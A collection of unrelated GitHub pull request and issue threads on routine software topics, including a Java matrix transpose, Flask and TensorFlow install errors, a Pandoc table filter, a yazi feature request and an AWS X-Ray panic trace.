Transpose of Matrix in Java

Have you read the Contributing Guidelines on Pull Requests?
Yes
Description
Problem Statement: Transpose of matrics
Description:
Transpose of the matrix is nothing but swapping of the rows and columns in the given matrix.
Solution:
n: number of the rows in the matrix
m: number of the columns in the matrix
n x m: the size of the matrix
Input:
n: 2
m: 2
Input matrix:
1 2
3 4
Output:
Transpose of the matrix:
1 3
2 4
Checklist

[Yes] I've read the contribution guidelines.
[Yes] I've checked the issue list before deciding what to submit.
[Yes] I've edited the README.md and link to my code.

Related Issues or Pull Requests
#4170

Hello @HarshCasper, @bhav09, @gat786, @Apoorve73,
Kindly review my PR.

Hello @ankitaggarwal23 ,
changes are made,kindly review it.


Ensure compatibility with rust-gpu nightly rust in CI

https://github.com/EmbarkStudios/spirt/pull/57#pullrequestreview-1805470744
It means we don't really have repeatable CI checks, but the practical benefits probably outweighs that (and if someone would like to pick up an old branch to work with an old rust-gpu version for whatever strange reason, this check can easily be modified or removed).

It means we don't really have repeatable CI checks

Less of an issue than you might think: we already have to deal with the fact that using nightly can make CI break randomly! If we don't already, we should try getting the main to run at least the Lint CI every day so we get informed about nightlies adding more lints etc. (though we mostly use nightly for rustfmt? I forget the details).


[mobile] remove broken link

fixes https://github.com/MicrosoftDocs/azure-docs/issues/38526
this content no longer exists

Microsoft authors of articles need to make updates through the private repository so the updates can be staged and validated by the current validation rules. After you review staging and fix all validation issues, you can add the sign-off comment to let the PR reviewers know the updates are ready to be merged.It's easy to access the private repo version of your articles in GitHub. Just add -pr to the URL, as follows:
Public repo URL: https://github.com/Microsoft/azure-docs/blob/master/articles/azure-portal-overview.md
Private repo URL: https://github.com/Microsoft/azure-docs-pr/blob/master/articles/azure-portal-overview.md
We have closed this pull request. Please resubmit the updates through the private repo. If you need perms to the private repo, see the contributor guide instructions


Update readme.md

Fixes namespace in readme

Hey @fawzanm, thanks for the PR! The current indentation is consistent with the PSR-2 coding standard referenced in CONTRIBUTING.md so we’re going to close this one but thanks again for your interest in the project.


opae-sdk: fix hssi setup.py installation

added dummy.cpp file to install python  files to /usr/lib64/python3.9/site-packages/hssi/
Without dummy.cpp python  files install into folder  /usr/lib/python3.9/site-packages/hssi/

-fix setupy package
Signed-off-by: anandaravuri<EMAIL_ADDRESS>

Coverage remained the same at 66.217% when pulling b774cdb18e0d14fe9bfec9a54af6f9ac60ce0d66 on aravuri/fix_hssi_setup into 258d2feef9e4494930740a5fc733fac03d51b57a on master.

There's got to be a way to do this without injecting such a workaround.  Maybe @r-rojo can help.


sc-9436 GDS User UI: Make stepper label clickable

Scope of changes
sc-9436 GDS User UI: Make stepper label clickable
Type of change

[ ] bug fix
[x] new feature
[ ] documentation
[ ] other (describe)

Acceptance criteria
Describe how reviewers can test this change to be sure that it works correctly. Add a checklist if possible
Author checklist

[x] I have manually tested the change and/or added automation in the form of unit tests or integration tests
[ ]  I have updated the dependencies list
[ ]  I have recompiled and included new protocol buffers to reflect changes I made
[ ]  I have added new test fixtures as needed to support added tests
[x]   Check this box if a reviewer can merge this pull request after approval (leave it unchecked if you want to do it yourself)
[x]  I have moved the associated Shortcut story to "Ready for Review"

Reviewer(s) checklist

[ ] Any new user-facing content that has been added for this PR has been QA'ed to ensure correct grammar, spelling, and understandability.

Codecov Report
Base: 44.45% // Head: 39.35% // Decreases project coverage by -5.09% :warning:

Coverage data is based on head (f59ff8d) compared to base (df58e9f).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #812      +/-   ##
==========================================
- Coverage   44.45%   39.35%   -5.10%
==========================================
  Files         611      156     -455
  Lines       22927     2452   -20475
  Branches     1373      624     -749
==========================================
- Hits        10192      965    -9227
+ Misses      11426     1311   -10115
+ Partials     1309      176    -1133

Flag
Coverage Δ

unittests
39.35% <ø> (-5.10%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...s-user-ui/src/application/routes/LandingOutlet.tsx

...s-user-ui/src/application/routes/PrivateOutlet.tsx

web/gds-user-ui/src/application/routes/index.tsx

web/gds-user-ui/src/application/routes/routes.ts

web/gds-user-ui/src/application/store/index.ts

...b/gds-user-ui/src/application/store/rootReducer.ts

...b/gds-user-ui/src/components/BasicDetail/index.tsx

...components/CertificateManagement/X509TableRows.tsx

...-ui/src/components/CertificateManagement/index.tsx

...omponents/CertificateReview/BasicDetailsReview.tsx

... and 445 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Accordion updates

add some fancy-pants transitions to my accordions
also, split the functionality into two components so that I don't have one giant-ass file

has a11y issues, closing until I have a better solution


Add Maven to the dev container

The Java projects generated with the Nx generator @nxrocks/nx-spring-boot use a local maven wrapper. The version of the local wrapper and maven binary may be different across Java projects depending on the version of @nxrocks/nx-spring-boot used to generate the project.
For now, I prefer to use a globally-installed maven for all projects, which is easier to maintain. This is possible by specifying the option --ignoreWrapper to @nxrocks/nx-spring-boot commands. In the future, it is possible that a project needs to use a different version, that's why I will keep the wrapper files as part of the Java projects.

Related to #422

Added to Sprint 22.08

Maven installed by the wrapper is only 11 MB and the binary is standalone. Installing Maven using apt increase the Docker image by more than 100 MB (uncompressed) because additional dependencies are installed. The version installed by apt is also less recent.
If the solution in #422 does not absolutely requires to use maven installed by apt, the continuing to use the wrapper would be better in terms of isolation of the Java projects in this repository.

I decided to let the Java projects use their own version of Maven for enhanced project isolation. See #504 .


Update flask version to fix error

I trying this on s390x, but seems not only the issue for s390x, so I create the PR. Maybe you need try it on x86 platform about this issue.
With Flask=1.1.2, when do odo push, have the following error:
[odo@a04931b0508f python]$ odo push -f
✓  Waiting for Kubernetes resources [114ms]
✓  Syncing files into the container [631ms]
✓  Building your application in container on cluster [2s]
✓  Executing the application [1s]
⚠  devfile command "run-app" exited with error status within 1 sec
Last 20 lines of the component's log:
time="2022-03-16T02:37:30Z" level=info msg="force to kill the program" program=debugrun
time="2022-03-16T02:37:30Z" level=debug msg="no auth required"
time="2022-03-16T02:37:30Z" level=debug msg="succeed to find process:devrun"
time="2022-03-16T02:37:30Z" level=info msg="try to start program" program=devrun
time="2022-03-16T02:37:30Z" level=info msg="success to start program" program=devrun
ODO_COMMAND_RUN is python app.py
Changing directory to ${PROJECT_SOURCE}
Executing command cd ${PROJECT_SOURCE} && python app.py
Traceback (most recent call last):
File "app.py", line 1, in
from flask import Flask
File "/home/jboss/.local/lib/python3.8/site-packages/flask/init.py", line 19, in
from . import json
File "/home/jboss/.local/lib/python3.8/site-packages/flask/json/init.py", line 15, in
from itsdangerous import json as _json
ImportError: cannot import name 'json' from 'itsdangerous' (/home/jboss/.local/lib/python3.8/site-packages/itsdangerous/init.py)
time="2022-03-16T02:37:31Z" level=debug msg="wait program exit" program=devrun
time="2022-03-16T02:37:31Z" level=error msg="program stopped with error:exit status 1" program=devrun
time="2022-03-16T02:37:31Z" level=info msg="Don't start the stopped program because its retry times 0 is greater than start retries 0" program=devrun
To get the full log output, please run 'odo log'
Pushing devfile component "my-python"
✓  Changes successfully pushed to component
Then update it to Flask=2.0.3, do odo push again, it working fine.
[odo@a04931b0508f python]$ odo push -f
✓  Waiting for Kubernetes resources [126ms]
✓  Syncing files into the container [604ms]
✓  Building your application in container on cluster [2s]
✓  Executing the application [1s]
Pushing devfile component "my-python"
✓  Changes successfully pushed to component

only want do the same thing as https://github.com/odo-devfiles/python-ex/pull/1, but I can't sync changes from odo-devfiles, so I re-created this PR to update the flask version.

@johnmcollier hi, could you help review this? Thank you very much.

this repo code working fine... I mistakenly thought this was the same error as there.
So closed this PR. Thanks.


Provides Longtable-to-xtab filter

Convert Pandoc's LaTeX table output from longtable to xtab. This addresses the issue of longtables not being compatible with multiple columns layouts.
Could be improved by turning table headers into proper xtab header code (see README).

Those TeX hacks are really clever; I never thought about changing tables by redefining the commands.
I haven't done a complete review yet, but looks good. I only noticed some inconsistent indentation in Lua and overlong lines in the README.

Those TeX hacks are really clever; I never thought about changing tables by redefining the commands.
I haven't done a complete review yet, but looks good. I only noticed some inconsistent indentation in Lua and overlong lines in the README.

Thanks I'll clean that up asap.

Thanks I'll clean that up asap.

Seems like this table
| kjh | kjh |
| --- | --- |
| 1   | 2   |
| 4   | 3   |

: this is a test {#tbl:asd}

results in this error for me:
Error producing PDF.
! Missing \endgroup inserted.
<inserted text>
                \endgroup
l.142 \caption{\label{tbl:asd}this is a test}

The label is not the culprit.


Change to git-flow model for PRs

As discussed, this PR moves the LLVM backend repo over to the flow-based model of versioning we already use in the K repo.

The base branch here needs to be master so that all the CI bits exist from Github's perspective; we can then branch off + protect develop from the commit that merges this PR into master.


feature request: make the color of the month arrows a bindable property

Again, wiping out the whole month navigation seems like overkill for this.
I think I can do this with a pull request.

Actually this is already possible:
calendar.TitleLeftArrow.TextColor = Color.Blue;
calendar.TitleRightArrow.TextColor = Color.Blue;

But feel free to write direct BindableProperties for this :)
PS: I am very, very happy for your help, but please wait until this weekend, before doing pull request.
I have restructured the whole code for more readability and overview and it would be really hard to merge. All header logic can now be found in Calendar.MonthNavigation.cs

Fix in bindable property TitleLeftArrowTextColor and TitleRightArrowTextColor  in 1.0.8


Adjustment for lnd.check.sh to not overwrite/delete externalip

This might be rather a question than an issue, since I don't fully understand this.
With lines 184-190, this script (https://github.com/rootzoll/raspiblitz/blob/v1.8/home.admin/config.scripts/lnd.check.sh) checks if runBehindTor is off. If so, it overwrites externalip in lnd.conf with ${publicIP}:${lndPort} from /mnt/hdd/raspiblitz.conf otherwise it deletes the line externalip=some-external-ip.
I wonder if this is needed at all anymore. It seems to be more complicated than expected, looking at some possibly related stuff:
https://github.com/rootzoll/raspiblitz/issues/2787
-> is part of milestone 1.10.0 release https://github.com/rootzoll/raspiblitz/milestone/18
https://github.com/rootzoll/raspiblitz/issues/2855
https://github.com/rootzoll/raspiblitz/issues/3342
Anyway, when a user sets up a VPS to serve as forward and reverse proxy and makes LND understand this by inserting this:
externalip=VPS-PUBLIC-IP:PORT
nat=false

tor.active=true
tor.v3=true
tor.streamisolation=false
tor.skip-proxy-for-clearnet-targets=true

in the lnd.conf, then the lnd.check.sh would delete the externalip=*VPS-PUBLIC-IP:PORT after every reboot.
Long story short: Can we simply delete lines 184-190 or would that create other issues which I do not understand?

As you said .. its set to be something for a deeper focus with the later v1.10.0 milestone. Basically what you describe is when somebody has a fixed public IP to use for LND ... for now use the script /home/admin/config.scripts/lnd.setaddress.sh on [YOUR-FIXED-IP]to set your fixed IP.


docs: added ColBERT reference

Added references to the source papers.
Fixed URL verification code.
Improved page formatting.
Regenerated arXiv page.

@ccurme Can you review, please?

@baskaryan Thanks!


No module named "tensorflow"

I followed the installation process on this page (https://spinningup.openai.com/en/latest/user/installation.html). After I run pythonw -m spinup.run plot data/installtest/installtest_s0, I am getting the following error message. I'm working in a conda environment.
Traceback (most recent call last):
File "/anaconda3/lib/python3.6/runpy.py", line 183, in _run_module_as_main
mod_name, mod_spec, code = _get_module_details(mod_name, _Error)
File "/anaconda3/lib/python3.6/runpy.py", line 109, in _get_module_details
import(pkg_name)
File "/Users/tf/Documents/reinforcement_learning/spinningup/spinup/init.py", line 2, in
from spinup.algos.ddpg.ddpg import ddpg
File "/Users/tf/Documents/reinforcement_learning/spinningup/spinup/algos/ddpg/ddpg.py", line 2, in
import tensorflow as tf
ModuleNotFoundError: No module named 'tensorflow'
Any idea why tensorflow is not available? I also tried a conda install and the same error. The other testing commands seem to run ok.

I cannot run python -m spinup.run plot data/installtest/installtest_s0.
It returns this error message:
ImportError: Python is not installed as a framework. The Mac OS X backend will not be able to function correctly if Python is not installed as a framework. See the Python documentation for more information on installing Python as a framework on Mac OS X. Please either reinstall Python as a framework, or try one of the other backends. If you are using (Ana)Conda please install python.app and replace the use of 'python' with 'pythonw'. See 'Working with Matplotlib on OSX' in the Matplotlib FAQ for more information.

Yes, I have Tensorflow installed as well as Keras.

maybe you are running python2.7 instead of python3.  Maybe your can make an alias for python3 using
alias python=python3
and then run your script.

I have the same problem, then I uninstall tensorflow by pip uninstall tensorflow and reinstall it using conda: conda install tensorflow, everything works fine.
I think pip is not a good choice for installing packages inside virtual environment.

I also had the same problem. In my case, just re-running the pip install step fixed it. Things worked better after I upgraded pip from version 9 to version 19.
This is all in a Python 3 venv, which I prefer to conda.


Add an option to print cwd to stdout on exit

yazi --debug output
Yazi
    Version: 0.3.3 (Arch Linux 2024-09-05)
    Debug  : false
    OS     : linux-x86_64 (unix)

Ya
    Version: 0.3.3 (Arch Linux 2024-09-05)

Emulator
    Emulator.via_env: ("xterm-kitty", "")
    Emulator.via_csi: Ok(Kitty)
    Emulator.detect : Kitty

Adapter
    Adapter.matches: Kitty

Desktop
    XDG_SESSION_TYPE           : Some("x11")
    WAYLAND_DISPLAY            : None
    DISPLAY                    : Some(":0")
    SWAYSOCK                   : None
    HYPRLAND_INSTANCE_SIGNATURE: None
    WAYFIRE_SOCKET             : None

SSH
    shared.in_ssh_connection: false

WSL
    WSL: false

Variables
    SHELL              : Some("/usr/bin/nu")
    EDITOR             : Some("nvim")
    VISUAL             : Some("nvim")
    YAZI_FILE_ONE      : None
    YAZI_CONFIG_HOME   : None

Text Opener
    default: Some(Opener { run: "${EDITOR:-vi} \"$@\"", block: true, orphan: false, desc: "$EDITOR", for_: None, spread: true })
    block  : Some(Opener { run: "${EDITOR:-vi} \"$@\"", block: true, orphan: false, desc: "$EDITOR", for_: None, spread: true })

Multiplexers
    TMUX               : false
    tmux version       : tmux 3.5a
    ZELLIJ_SESSION_NAME: None
    Zellij version     : No such file or directory (os error 2)

Dependencies
    file             : 5.45
    ueberzugpp       : No such file or directory (os error 2)
    ffmpegthumbnailer: No such file or directory (os error 2)
    magick           : 7.1.1-41
    fzf              : 0.56.3
    fd               : 10.2.0
    rg               : 14.1.1
    chafa            : No such file or directory (os error 2)
    zoxide           : 0.9.6
    7z               : 17.05
    7zz              : No such file or directory (os error 2)
    jq               : 1.7.1

Please describe the problem you're trying to solve
Yazi currently supports the --cwd-file flag to save the working directory on exit.
# `cd` to yazi's working directory on exit
function y() {
	local tmp="$(mktemp -t "yazi-cwd.XXXXXX")" cwd
	yazi "$@" --cwd-file="$tmp"
	if cwd="$(command cat -- "$tmp")" && [ -n "$cwd" ] && [ "$cwd" != "$PWD" ]; then
		builtin cd -- "$cwd"
	fi
	rm -f -- "$tmp"
}

While it works, that's quite a handful for such a simple task.
I've seen it done in a much simpler way from another TUI file manager, xplr.
Would you be willing to contribute this feature?

[X] Yes, I'll give it a shot

Describe the solution you'd like
Xplr has a --print-pwd-as-result flag, which, of course, prints the pwd on exit.
This allowed me to define a much simpler alias for changing the working directory on exit.
alias x='cd "$(xplr --print-pwd-as-result)"'

I'd be great to see this feature implemented in Yazi.
Additional context
I've looked into relevant parts of Xplr's code to see how it works.
src/runner.rs # Runner::run() # L381-L383

PrintResultAndQuit => {
    result = if self.print_pwd_as_result {
        Ok(Some(app.pwd_str(self.delimiter)))

src/runner.rs # Runner::run() # L821-L830
    terminal.clear()?;
    terminal.set_cursor(0, 0)?;
    execute!(terminal.backend_mut(), term::LeaveAlternateScreen)?;
    execute!(terminal.backend_mut(), event::DisableMouseCapture).unwrap_or_default();
    term::disable_raw_mode()?;
    terminal.show_cursor()?;

    fs::remove_dir_all(session_path)?;

    result
}

src/bin/xplr.rs # main() # L71-L73

match runner::from_cli(cli).and_then(|a| a.run()) {
    Ok(Some(out)) => {
        print!("{out}");

The TUI backend crate used by Xplr is crossterm. I do not know much about how TUIs work but looks like it is possible to leave the original stdout intact while rendering things on an alternative screen.
Validations

[X] I have searched the existing issues/discussions
[X] The latest nightly build doesn't already have this feature

Duplicate of https://github.com/sxyazi/yazi/discussions/823#discussioncomment-8811630

Thanks! Haven't thought of utilizing /dev/stdout.
But wouldn't it better to add a dedicated flag, or at least support - as an alias to the stdout (e.g. --cwd-file -)?
/dev/stdout is *nix specific, while Yazi is cross-platform.

That sounds great, too!
Hopefully, in the end, we can use the new one to replace the existing --cwd-file, because the current shell wrapper relies on other external commands (like cat and mktemp). Some users might have aliased bat to cat, and some users might not have mktemp in their shell, so it's not always reliable. Do you want to give it a try?
Let's reopen it

Hmm it seems like the new one let's call it --print-cwd, might conflict with Yazi's --local-events and --remote-events because they all use stdout.
In that case, it would be hard to distinguish which output is from --print-cwd. Maybe its significance isn't that great after all. What do you think?

Perhaps they can be moved to stderr - which is the intended channel for logs and real time reports, so it's kind of fitting. But that would be a breaking change to existing integrations using the events through stdout, so it has to be yet another opt-in option.
Also, since --chooser-file also exists, I think implementing a - alias to stdout will contribute to making the codebase more orthogonal and allow both --cwd-file, --chooser-file and potentially future features to use stdout more conveniently.

IMO the advantage of the existing --cwd-file and --chooser-file is that they can be used together with --local-events and --remote-events, where --local-events goes to stdout, while --cwd-file and --chooser-file go to files.
Also, --cwd-file and --chooser-file can be used together as long as you specify different file paths for each.
But the new --print-cwd and --print-choice cannot be used together with --local-events or --remote-events, nor can they be used together with each other. To me, this seems a bit redundant, especially considering that we already have --cwd-file and --chooser-file.
As for the issue you mentioned with --cwd-file /dev/stdout, this is indeed a cross-platform problem on Windows. However, Windows users can always specify an actual file path for it, so I don't think this will be a big issue.

Perhaps they can be moved to stderr

Unfortunately, this is not possible - Yazi TUI is rendered in stderr

True, /dev/stdout already works just fine and also using temp files is not a deal breaker at all.
I was merely hoping to make my dotfiles cross-platform since I happen to be using a cross-platform shell which also happen to not support conditional aliases yet (Nushell). Very very niche and optional requirements that probably only applies to me lol.

Ok, let's close this issue then.
Thanks for your suggestion for this feature anyway and your patience in discussing the specific details with me!


fixing david's runtimetests

Fix 1: Instead of calling DeployManifestPathOnly,  using DeployProjectPathOnly
Fix 2: Updating manifest file to remove unnecessary actions field
Fix 3: Renaming integration test from TestSupportProjectPath to TestExplicitRuntimes as TestSupportProjectPath is overlapping with one of the tests from flagtests.

All of these changes are incorporated into Vincent's PR #408


How to combine PagedGui with VirtualInventory

It seems that adding VirtualInventory as an Ingredient doesn't work, and the only method available for PagedGui is setContent.
I'm really eager to figure out how to combine PagedGui and VirtualInventory effectively to enable page-by-page browsing of VirtualInventory. Any assistance or guidance would be greatly appreciated!

There is currently no PagedGUI implementation that accepts Inventories as content type

There is currently no PagedGUI implementation that accepts Inventories as content type

It means I need impl it myself? Is PR welcomed?

Added in v1.13


panic: runtime error: index out of range [2] with length 2

Hi @bhautikpip
I ran into an error in<EMAIL_ADDRESS>that caused my process to stop.
panic: runtime error: index out of range [2] with length 2 [recovered]
	panic: runtime error: index out of range [2] with length 2

goroutine 8124494 [running]:
encoding/json.(*encodeState).marshal.func1()
	/usr/local/go/src/encoding/json/encode.go:328 +0x84
panic({0xa570e0, 0x4002224588})
	/usr/local/go/src/runtime/panic.go:838 +0x20c
encoding/json.mapEncoder.encode({0x4002146868?}, 0x40028ea380, {0x9940c0?, 0x400178b018?, 0x4002146898?}, {0x6?, 0x0?})
	/usr/local/go/src/encoding/json/encode.go:800 +0x53c
encoding/json.structEncoder.encode({{{0x4000099300?, 0x114190?, 0x40028ea380?}, 0x40005f6bd0?}}, 0x40028ea380, {0xaa81e0?, 0x400178af00?, 0x400178af00?}, {0x98?, 0x69?})
	/usr/local/go/src/encoding/json/encode.go:761 +0x178
encoding/json.ptrEncoder.encode({0x4002146a88?}, 0x40028ea380, {0xa99fe0?, 0x400178af00?, 0x14002146ae8?}, {0x16?, 0x0?})
	/usr/local/go/src/encoding/json/encode.go:945 +0x1f4
encoding/json.(*encodeState).reflectValue(0x4002146b38?, {0xa99fe0?, 0x400178af00?, 0x110664?}, {0xf8?, 0x6b?})
	/usr/local/go/src/encoding/json/encode.go:360 +0x74
encoding/json.(*encodeState).marshal(0x4002146ba8?, {0xa99fe0?, 0x400178af00?}, {0x80?, 0xa3?})
	/usr/local/go/src/encoding/json/encode.go:332 +0x124
encoding/json.Marshal({0xa99fe0, 0x400178af00})
	/usr/local/go/src/encoding/json/encode.go:161 +0x40
github.com/aws/aws-xray-sdk-go/xray.packSegments.func1(0x400178af00)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/default_emitter.go:100 +0x19c
github.com/aws/aws-xray-sdk-go/xray.packSegments(0x400178ac00, {0x0, 0x0, 0x0})
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/default_emitter.go:110 +0xcc
github.com/aws/aws-xray-sdk-go/xray.packSegments(0x400178aa80, {0x0, 0x0, 0x0})
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/default_emitter.go:109 +0xb0
github.com/aws/aws-xray-sdk-go/xray.(*DefaultEmitter).Emit(0x40000be168, 0x4002549f50?)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/default_emitter.go:66 +0x70
github.com/aws/aws-xray-sdk-go/xray.(*Segment).emit(...)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:431
github.com/aws/aws-xray-sdk-go/xray.(*Segment).flush(0x400178aa80)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:473 +0x344
github.com/aws/aws-xray-sdk-go/xray.(*Segment).send(0x400178aa80)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:453 +0x64
github.com/aws/aws-xray-sdk-go/xray.(*Segment).handleContextDone(0x400178aa80)
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:439 +0x58
github.com/aws/aws-xray-sdk-go/xray.BeginSegmentWithSampling.func1()
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:136 +0x44
created by github.com/aws/aws-xray-sdk-go/xray.BeginSegmentWithSampling
	/go/pkg/mod/github.com/aws/aws-xray-sdk-go@v1.6.0/xray/segment.go:134 +0xdd0

What's the problem with this, please?
How can I fix it?
Thanks

Thanks for reporting this. Can you share more information on how you were using SDK? Which instrumentation you were using? Is it possible to provide a small repro code for this as well? More information on setup would be useful for debugging.


HARP-7373: Minor simplification in path label placement.

Remove unnecessary call to checkStartFadeIn. Preparation to delete
checkStartFadeIn and checkStartFadeOut methods.
Signed-off-by: Andres Mandado<EMAIL_ADDRESS>Thank you for contributing to harp.gl!
Before requesting a pull request, please remember to check the following documents:

contribution guidelines
coding style

If you are adding new functionality we would highly appreciate if you can describe what is the capability you are adding and even better if you can add some examples. Please also remember to add tests for it.
CI Check
Our bots will check whether your PR can be directly integrated into the mainline. We have some internal integration tests running on the background, our bots will inform you of the next steps and someone from our team will take a look and help if needed!
And please do not forget to sign-off your commit! You can read more about DCO here. But, in short, you just need to use git commit -s or append --signoff when you are committing to the repo.
Happy contributing!

@heremaps-bot retest this please

Codecov Report

Merging #1120 into master will increase coverage by <.01%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##           master    #1120      +/-   ##
==========================================
+ Coverage   46.42%   46.43%   +<.01%
==========================================
  Files         243      243
  Lines       22400    22397       -3
  Branches     5016     5012       -4
==========================================
  Hits        10400    10400
+ Misses      12000    11997       -3

Impacted Files
Coverage Δ

...here/harp-mapview/lib/text/TextElementsRenderer.ts
9.64% <0%> (+0.03%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4f399ff...7363d74. Read the comment docs.


Invalid FROM address

Invalid from Address should include email addresses containing a space like <firstname<EMAIL_ADDRESS>
Document details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 3bd8eda3-422f-0ca5-328c-cf049daf296e
Version Independent ID: 24a28789-1473-dc1f-aa94-67015c1ff12d
Content: How EOP validates the From address to prevent phishing - Office 365
Content Source: microsoft-365/security/office-365-security/how-office-365-validates-the-from-address.md
Service: microsoft-365-security
Sub-service: mdo
GitHub Login: @chrisda
Microsoft Alias: chrisda

I'm closing this as a duplicate of #10135

Hello Chris,
Yes I had to create another one because the first one seemed to have failed.
The issue is that we don’t support Email addresses with spaces like <email<EMAIL_ADDRESS>It would be nice to have this added to the article so that we can refer customer to it.
Many thanks!
Kind regards
--
Jeroen Dronkers
Support Escal Eng
Eq-Uk Gtsc Bizapps Server
Customer Services and Support
Office: +44<PHONE_NUMBER>
<EMAIL_ADDRESS>[abc]

Team Manager | Frances Early<EMAIL_ADDRESS>+44 (20) 34251539
Did you know? You can submit your feedback for this Support ticket from the Navigation menu in the Microsoft 365 admin center
From: Chris Davis @.>
Sent: Thursday, November 3, 2022 4:25 PM
To: MicrosoftDocs/microsoft-365-docs @.>
Cc: Jeroen Dronkers @.>; Author @.>
Subject: Re: [MicrosoftDocs/microsoft-365-docs] Invalid FROM address (Issue #10136)
I'm closing this as a duplicate of #10135https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2Fmicrosoft-365-docs%2Fissues%2F10135&data=05|01|jedronke%40microsoft.com|4ff6318e896740f8abca08dabdb7e548|72f988bf86f141af91ab2d7cd011db47|1|0|638030894791487043|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=BjbIB50damidcXhWvetF86UtyVkmGTGtx%2BcrwJ54P10%3D&reserved=0
—
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2Fmicrosoft-365-docs%2Fissues%2F10136%23issuecomment-1302359838&data=05|01|jedronke%40microsoft.com|4ff6318e896740f8abca08dabdb7e548|72f988bf86f141af91ab2d7cd011db47|1|0|638030894791487043|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=J6L5qhPvzqWiwFQ0hjAZiKw%2FFweTqa3hDmsOGrE8ilA%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAKVZUKBHRKJXFW5UMSHNIDLWGPRMFANCNFSM6AAAAAARV5ZH6M&data=05|01|jedronke%40microsoft.com|4ff6318e896740f8abca08dabdb7e548|72f988bf86f141af91ab2d7cd011db47|1|0|638030894791487043|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=T6Xd43XHBjHJmkUAynQ%2FQ7fR8fkqjx3uPSdGUn7KWeA%3D&reserved=0.
You are receiving this because you authored the thread.Message ID<EMAIL_ADDRESS>


learn not working on Google Cloud TPU

On a google cloud tpu vm, I installed jax with
pip install "jax[tpu]>=0.2.16" -f https://storage.googleapis.com/jax-releases/libtpu_releases.html, then cloned this repo and installed with pip install -e .
running learn throws the below error:

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/home/mandi_zhao/miniconda3/envs/brax/bin/learn", line 7, in <module>
    exec(compile(f.read(), __file__, 'exec'))
  File "/home/mandi_zhao/brax/bin/learn", line 7, in <module>
    app.run(learner.main)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/absl/app.py", line 303, in run
    _run_main(main, args)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/absl/app.py", line 251, in _run_main
    sys.exit(main(argv))
  File "/home/mandi_zhao/brax/brax/training/learner.py", line 176, in main
    progress_fn=writer.write_scalars)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 465, in train
    (training_state, state), losses = minimize_loop(training_state, state)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 402, in _minimize_loop
    length=num_epochs // log_frequency)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 387, in run_epoch
    length=num_update_epochs)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 361, in minimize_epoch
    length=num_minibatches)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 338, in update_model
    loss_grad, metrics = grad_loss(params, data, key_loss)
  File "/home/mandi_zhao/brax/brax/training/ppo.py", line 150, in compute_ppo_loss
    policy_logits, data.actions)
  File "/home/mandi_zhao/brax/brax/training/distribution.py", line 77, in log_prob
    log_probs = dist.log_prob(actions)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/tensorflow_probability/substrates/jax/distributions/distribution.py", line 1315, in log_prob
    return self._call_log_prob(value, name, **kwargs)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/tensorflow_probability/substrates/jax/distributions/distribution.py", line 1297, in _call_log_prob
    return self._log_prob(value, **kwargs)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/tensorflow_probability/substrates/jax/distributions/normal.py", line 190, in _log_prob
    x / scale, self.loc / scale)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/jax/_src/numpy/lax_numpy.py", line 6553, in deferring_binary_op
    return binary_op(self, other)
  File "/home/mandi_zhao/miniconda3/envs/brax/lib/python3.7/site-packages/jax/_src/numpy/lax_numpy.py", line 839, in true_divide
    return lax.div(x1, x2)
TypeError: div got incompatible shapes for broadcasting: (30, 87), (30, 8).

Closing this issue, but please reach out if you're still hitting this bug.


clasp: remove at 3.1.4

The clasp binary is part of the clingo package
Description of changes
This in essence updates clasp from 3.1.4 to 3.3.9.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

